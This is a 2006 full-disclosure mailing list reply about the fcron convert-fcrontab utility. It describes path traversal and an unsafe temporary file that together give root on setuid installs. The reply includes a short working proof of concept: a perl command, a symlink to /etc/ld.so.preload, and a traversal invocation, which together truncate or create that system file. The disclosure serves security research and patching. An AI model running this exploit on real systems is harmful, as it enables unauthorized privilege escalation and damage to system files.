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Re: [Full-disclosure] Fcrontab - memory corruption on heap.
From: Karol Wiesek (appelast
drumnbass.art.pl)
Date: Thu Feb 02 2006 - 13:08:26 CST
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On Wed, Feb 01, 2006 at 03:28:50PM +0100, Adam Zabrocki wrote:
=> Name: Fcron - convert-fcrontab
=> Vendor URL: http://fcron.free.fr
=> Author: Adam Zabrocki <pi3ki31nywp.pl>
=> Date: November 25, 2005
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=>
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=> Issue:
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=> Fcron (convert-fcrontab) allow users to corruption on heap section.
Hi pi3 and list,
There are much simplier bugs in convert-fcrontab, which toghether allows to gain uid0 privileges.
* convert-fcrontab lacks any checks on file path passed to it. Attacker could get outside of fcron spool directory using "../".
* convert-fcrontab opens temporary file without O_EXCL flag.
PoC:
perl -e '{print "fcrontab-017\nuser\x001132863099\n\x00\x00\x00\x00"}' > /tmp/fc_file
ln -s /etc/ld.so.preload /tmp/fc_file.tmp
convert-fcrontab ../../../../tmp/fc_file
Will create empty /etc/ld.so.preload file or truncate existing.
Tested on fcron 2.9.5 shipped with trustix 2.2 (setuid root by default), and fcron 3.0.0.
regards Karol
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